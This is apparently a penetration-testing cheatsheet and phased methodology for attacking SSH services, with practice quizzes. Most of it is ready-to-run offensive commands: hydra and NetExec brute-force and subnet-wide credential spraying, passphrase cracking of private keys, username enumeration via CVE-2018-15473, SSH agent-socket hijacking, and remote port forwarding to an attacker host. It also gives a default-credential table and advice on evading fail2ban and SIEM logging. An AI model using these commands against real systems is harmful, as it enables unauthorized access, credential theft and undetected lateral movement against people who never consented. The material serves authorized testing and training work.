SSH Port 22
Cheatsheet
nc -nv <IP> 22
nmap -sV -sC -p22 <IP>
nmap --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -p22 <IP>
# Confirm which auth methods the server accepts.
ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue"
# automated audit
ssh-audit <IP>
# Connect
ssh <USER>@<IP>
ssh -o PreferredAuthentications=password <USER>@<IP>
chmod 600 id_rsa && ssh -i id_rsa <USER>@<IP>
ssh -p <PORT> <USER>@<IP>
# Crack a key passphrase
ssh2john id_rsa > hash.txt && john hash.txt --wordlist=<WORDLIST>
# Brute force (low threads to dodge fail2ban) last resort
hydra -l <USER> -P <WORDLIST> ssh://<IP> -t 4
hydra -L users.txt -P passwords.txt ssh://<IP> -t 4
# Tunneling local fwd / SOCKS proxy / remote fwd
ssh -L <LPORT>:127.0.0.1:<RPORT> <USER>@<IP>
ssh -D 9050 <USER>@<IP>
ssh -R <LPORT>:127.0.0.1:<RPORT> <USER>@<LHOST>Methodology
Phase 1: Fingerprint and Accepted Auth Methods
Ask yourself
- What exact OpenSSH (or other) version and OS is the banner advertising?
- Which authentication methods does the server actually accept
password,publickey,keyboard-interactive? - If only
publickeyis accepted, is brute force off the table entirely, forcing me toward key discovery? - Does the version map to a known CVE (e.g. CVE-2018-15473 user enum on OpenSSH < 7.7, regreSSHion on 8.5p1–9.7p1)?
- Are weak ciphers, MACs, or SSHv1 present that change the threat model?
nc -nv <IP> 22
nmap -sV -sC -p22 <IP>
# Full algorithm + vulnerability audit
ssh-audit <IP>
# Which auth methods are accepted?
ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue"
# Version-to-CVE lookup
searchsploit openssh <version>- Run
nc -nv <IP> 22and read the banner (for exampleSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5). The distro suffix shows the OS and patch level. That narrows which CVEs apply. - Run
nmap -sV -sC -p22 <IP>. Default scripts return host keys, supported algorithms, and accepted auth methods together. - Run
ssh-audit <IP>. It flags weak ciphers, deprecated MACs, known CVEs, and policy violations. A heavily hardened config signals a mature target. A weak config hints at a neglected host. - Run
ssh -v <USER>@<IP> 2>&1 | grep -i "authentications that can continue"to confirm accepted methods. If onlypublickeyis offered, brute force is impossible. Pivot to key discovery (Phase 2). - Run
searchsploit openssh <version>and searchOpenSSH <version> exploit. If OpenSSH is older than 7.7, flag CVE-2018-15473 user enumeration for Phase 4.
Phase 2: Leaked Private Keys
Ask yourself
- Did any earlier service (FTP, SMB, NFS, Rsync, web, Git) already hand me a private key?
- Which username does this key belong to, and how do I find out?
- Is the key passphrase-protected, and is that passphrase crackable?
- Are the file permissions correct, or will SSH refuse the key?
- Has this same key been reused across multiple hosts in the environment?
chmod 600 id_rsa
ssh -i id_rsa <USER>@<IP>
# Reveal the public key the trailing comment is often user@host
ssh-keygen -y -f id_rsa
# Crack a passphrase-protected key
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=<WORDLIST>
# Test one key against many hosts/users
nxc ssh <IP> -u <USER> -p '' --key-file id_rsa- Revisit every prior loot source for
id_rsa,*.pem, and*.key. Check FTP, NFS shares, SMB shares, rsync modules, web roots, and exposed.git. Leaked keys are far more common than weak passwords on hardened SSH. - Run
chmod 600 id_rsa && ssh -i id_rsa <USER>@<IP>. SSH refuses keys with loose permissions. Fix the mode first, or you will blame a good key. - Run
ssh-keygen -y -f id_rsato print the public key. The trailing comment is frequentlyuser@host. That comment often reveals the owning username. - If the key asks for a passphrase, run
ssh2john id_rsa > hash.txt && john hash.txt --wordlist=<WORDLIST>. Admin SSH passphrases tend to follow the same weak patterns as their passwords. Crack first, then prompt. - Try the key against every known username. The owner is rarely obvious. Start with
root. Keys forgotten on shares are usually admin keys.
Phase 3: Credential Reuse and Defaults
Ask yourself
- Which usernames and passwords have I already recovered from other services?
- Does this host share an admin account with anything I have already compromised?
- Are there appliance/IoT defaults worth trying (
root:root,admin:admin,pi:raspberry)? - Have I tried the lazy
username:usernamepattern for every known user? - Which other hosts in the subnet accept the same credential?
nxc ssh <IP> -u <USER> -p <PASS>
nxc ssh <IP> -u users.txt -p found_passwords.txt
nxc ssh <SUBNET>/24 -u <USER> -p <PASS>- Spray credentials harvested from databases, web app configs, FTP files, SNMP process arguments, and mail against SSH. Credential reuse is the most common SSH entry point. A password from one service routinely unlocks SSH.
- Run
nxc ssh <IP> -u <USER> -p <PASS>for fast single-credential validation with parseable output before you commit to a spray. - Try appliance defaults:
root:root,root:toor,admin:admin,admin:password,pi:raspberry. Network gear and IoT devices still ship with these. - If usernames are known but no passwords, try
username:usernamepairs. That is a common lazy-admin pattern. - Run
nxc ssh <SUBNET>/24 -u <USER> -p <PASS>. One valid credential sprayed across the subnet often reveals many hosts that share the same account. That is immediate lateral movement.
Phase 4: User Enumeration and Brute Force
Ask yourself
- Is the server old enough (OpenSSH < 7.7) for CVE-2018-15473 timing enumeration to validate my user list?
- Which usernames have I gathered from SMTP VRFY, RID cycling, web apps, SNMP, or LFI
/etc/passwddumps? - Is password auth even enabled, or is the server publickey-only (making brute force impossible)?
- What lockout / fail2ban /
MaxStartupscontrols apply, and what is the OPSEC cost of tripping them? - Is a small, targeted password list smarter than rockyou against this account?
# Validate usernames without auth-failure logs (OpenSSH < 7.7 only)
python3 ssh_user_enum.py --userList /usr/share/seclists/Usernames/top-usernames-shortlist.txt <IP>
# Per-user accepted auth methods (root is often publickey-only)
nmap --script ssh-auth-methods --script-args="ssh.user=<USER>" -p22 <IP>
# Brute force multi-user spray with parseable output
nxc ssh <IP> -u users.txt -p passwords.txt
- If OpenSSH is older than 7.7, run
python3 ssh_user_enum.py --userList <WORDLIST> <IP>. Timing confirms valid usernames without auth-failure logs. This is patched in 7.7 and later. Check the version from Phase 1 first. - Run
nmap --script ssh-auth-methods --script-args="ssh.user=<USER>" -p22 <IP>. Different users may have different policies. Root is often restricted to publickey. This tells you which accounts you can brute-force. Do not waste attempts on publickey-only users. - Cross-reference usernames from SMTP VRFY, RID cycling, web apps, SNMP, and LFI
/etc/passwddumps. A validated list makes any spray far more efficient. - Run
hydra -l <USER> -P <WORDLIST> ssh://<IP> -t 4. Keep threads at 4 or fewer. fail2ban can trigger on as few as 3–5 failures. SSH refuses connections beyondMaxStartups. Prefer a small targeted list over rockyou. - If password auth is disabled (publickey only), brute force is mathematically impossible. Return to Phase 2 key discovery and Phase 3 credential harvesting.
- If locked out, wait the fail2ban window. Switch source IP, or pivot through another compromised host.
OPSEC: SSH brute force is extremely loud. Every failed attempt hits /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) and forwards to the SIEM in mature environments. Keep -t 4 or lower, exhaust every other credential source first, and never throw rockyou at an account that might lock out.
Phase 5: Post-Access Orientation and Pivoting
Ask yourself
- Who am I, and what can this account reach that my attack box cannot?
- Is this host dual-homed does it bridge into a segmented internal network?
- Which other hosts has this user already authenticated to (
known_hosts)? - Is an SSH agent loaded that I can hijack to reach further systems without the private key?
- What credentials, keys, and configs are lying around to spray onward before I escalate?
id; hostname; ip a
# SSH artifacts
cat ~/.ssh/config ~/.ssh/known_hosts ~/.ssh/authorized_keys 2>/dev/null
# Agent hijack check
echo $SSH_AUTH_SOCK; ssh-add -l 2>/dev/null
# Pivoting reach one internal service / whole subnet
ssh -L 8080:10.10.1.5:80 <USER>@<IP>
ssh -D 9050 <USER>@<IP>
# Spray these creds across the subnet
nxc ssh <SUBNET>/24 -u <USER> -p <PASS>- SSH gives a stable TTY immediately. Skip shell stabilization. Transfer enumeration tools next.
- Run
id; hostname; ip ato establish identity and check for extra interfaces. Additional NICs mean a dual-homed pivot host. That is a high-value lateral-movement asset. - Run
ssh -L 8080:10.10.1.5:80 <USER>@<IP>to reach a single internal service. Runssh -D 9050 <USER>@<IP>with proxychains for full-subnet TCP access. Then runproxychains nmap -sT -Pn <SUBNET>/24. - Run
echo $SSH_AUTH_SOCK. If it is set, hijack the agent to reach other systems with the user’s forwarded keys. Auth logs then look like normal activity. - Read
~/.ssh/known_hosts(confirmed reachable hosts),~/.ssh/authorized_keys(who else logs in here), and~/.ssh/config(jump hosts, key paths). Then spray creds withnxc ssh <SUBNET>/24.
For multi-hop pivoting, segmented networks, or anything more complex than a single jump, switch to ligolo-ng. SSH SOCKS works for one-off forwards. It becomes painful with stacked hops and only supports TCP. ligolo-ng gives a real interface that nmap, Metasploit, and proxychains use natively.
Quiz
You have OpenSSH 8.2 exposed. Password auth is enabled. You have 50 usernames from SMTP VRFY but no passwords, and brute force is in scope. What's your first move?
Overview
SSH provides encrypted remote access. It replaces insecure legacy protocols like Telnet and rlogin. It supports password and public-key authentication, full TCP tunneling, and arbitrary subsystem multiplexing. That is why it is both a common admin protocol and a useful pivoting tool on a Linux engagement.
| Detail | Value |
|---|---|
| Port | 22/TCP (default) |
| Protocol | SSH-2 (current), SSH-1 (deprecated, vulnerable) |
| Encryption | AES, ChaCha20 (transport), RSA/Ed25519/ECDSA (key exchange) |
| Config (server) | /etc/ssh/sshd_config |
| Config (client) | /etc/ssh/ssh_config, ~/.ssh/config |
| Auth log | /var/log/auth.log (Debian/Ubuntu), /var/log/secure (RHEL/CentOS) |
Quick Reference
ssh <USER>@<IP> # Connect to SSH
ssh -i id_rsa <USER>@<IP> # Connect with a private key
ssh -o PreferredAuthentications=password <USER>@<IP> # Force password authentication
nc -nv <IP> 22 # Banner grab to check SSH version
ssh -v <USER>@<IP> # Verbose SSH connection for debugging
nmap -sV -sC -p22 <IP> # Nmap scan for service and default scripts on port 22
ssh-audit <IP> # Audit SSH server configuration and security
nmap --script ssh-auth-methods --script-args="ssh.user=root" -p22 <IP> # Check available authentication methods
nxc ssh <IP> -u users.txt -p passwords.txt # Credential spraying with user/password lists
ssh -L <LPORT>:127.0.0.1:<RPORT> <USER>@<IP> # Local port forward for individual service access
ssh -D 9050 <USER>@<IP> # Dynamic SOCKS proxy for full-subnet pivotingNetExec (nxc)
NetExec is a fast way to test SSH credentials at scale. It replaces crackmapexec. It supports key files, executes commands, and produces clean parseable output for scripting.
# Authentication testing
nxc ssh <IP> -u <USER> -p <PASS>
nxc ssh <IP> -u users.txt -p passwords.txt
nxc ssh <IP> -u <USER> -p '' --key-file id_rsa
# Command execution
nxc ssh <IP> -u <USER> -p <PASS> -x "whoami"
nxc ssh <IP> -u <USER> -p <PASS> -x "cat /etc/passwd"
# Subnet sweep find SSH servers accepting these creds
nxc ssh <SUBNET>/24 -u <USER> -p <PASS>SSH Agent Hijacking
If SSH agent forwarding is enabled on a host you have compromised, you can use the user’s loaded keys. You can reach other systems without touching the private key file.
# Check for an active SSH agent
echo $SSH_AUTH_SOCK
ls -la /tmp/ssh-*/
# If found, hijack the agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXXX
ssh-add -l # List keys loaded in the agent
ssh <USER>@<INTERNAL_HOST> # Use the forwarded keyOPSEC: Agent hijacking requires root or the same UID as the agent owner. This is a post-compromise lateral-movement technique. It lets you authenticate as the user to any system their forwarded keys can reach. Auth-log entries look like the user’s normal SSH activity. Used carefully, this is almost invisible to detection.
SSH Tunneling and Pivoting
Local Port Forwarding
# Forward local 8080 to internal host 10.10.1.5:80 through the SSH server
ssh -L 8080:10.10.1.5:80 <USER>@<IP>Dynamic SOCKS Proxy
Route arbitrary traffic through the SSH host. The SOCKS proxy listens on your local machine and forwards every connection out through the pivot.
# Create the SOCKS proxy
ssh -D 9050 <USER>@<IP>
# Configure proxychains (/etc/proxychains4.conf):
# socks5 127.0.0.1 9050
# Route tools through the proxy
proxychains nmap -sT -Pn 10.10.1.0/24
proxychains curl http://10.10.1.5Remote Port Forwarding
# From the target, forward its local 3306 to your attacker machine on 3306
ssh -R 3306:127.0.0.1:3306 <USER>@<LHOST>
# Now connect to localhost:3306 on your attacker box to reach the target's MySQLFor multi-hop pivoting, segmented networks, or anything more complex than a single jump, switch to ligolo-ng. SSH tunneling works for one-off port forwards. It becomes painful with stacked hops. ligolo-ng gives you a real interface that nmap, Metasploit, and proxychains all use natively.
Dangerous Settings (sshd_config)
| Setting | Risk |
|---|---|
PasswordAuthentication yes | Password brute force possible |
PermitEmptyPasswords yes | Empty passwords allowed. Access is trivial. |
PermitRootLogin yes | Direct root login high-value brute force target |
Protocol 1 | SSHv1 deprecated, vulnerable to MITM and key recovery |
X11Forwarding yes | GUI forwarding abusable for keylogging with agent forwarding |
AllowTcpForwarding yes | Tunneling allowed useful for pivoting post-compromise |
PermitTunnel yes | Layer 2/3 tunneling full VPN-like access |
AuthorizedKeysFile | Custom path keys may live in unexpected locations |
AllowAgentForwarding yes | Agent forwarding enables key hijacking on compromised hosts |
DebianBanner yes | OS fingerprinting from the banner |
Default Credentials
| System | Username | Password |
|---|---|---|
| Linux default | root | root / toor |
| Ubuntu/Debian | root | (disabled by default. Try ubuntu.) |
| Network devices | admin | admin |
| IoT / embedded | root | root / (empty) / device-specific |
| Raspberry Pi | pi | raspberry |
| VMware ESXi | root | (set during install) |
| pfSense | admin | pfsense |
Quiz
You have SSH as a low-privilege user on a dual-homed host. What's the highest-value immediate action?
#PenetrationTesting #Linux #RedTeam #Certification #SSH #Pivoting #CredentialReuse #BruteForce #KeyAttacks